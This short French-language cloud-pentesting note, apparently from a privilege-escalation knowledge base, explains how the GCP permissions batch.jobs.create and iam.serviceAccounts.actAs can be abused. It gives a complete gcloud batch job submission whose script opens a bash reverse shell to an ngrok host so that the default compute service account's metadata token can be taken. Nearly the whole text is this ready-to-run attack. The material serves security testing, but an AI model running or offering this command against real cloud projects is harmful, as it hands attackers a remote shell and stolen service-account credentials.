batch.jobs.create, iam.serviceAccounts.actAs
Il est possible de créer un job batch, d'obtenir un shell inversé et d'exfiltrer le token de métadonnées du SA (SA de calcul par défaut).
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
{
"name": "projects/gcp-labs-35jfenjy/locations/us-central1/jobs/job-lxo3b2ub",
"taskGroups": [
{
"taskCount": "1",
"parallelism": "1",
"taskSpec": {
"computeResource": {
"cpuMilli": "1000",
"memoryMib": "512"
},
"runnables": [
{
"script": {
"text": "/bin/bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/10396 0>&1'\n"
}
}
],
"volumes": []
}
}
],
"allocationPolicy": {
"instances": [
{
"policy": {
"provisioningModel": "STANDARD",
"machineType": "e2-micro"
}
}
]
},
"logsPolicy": {
"destination": "CLOUD_LOGGING"
}
}
EOD
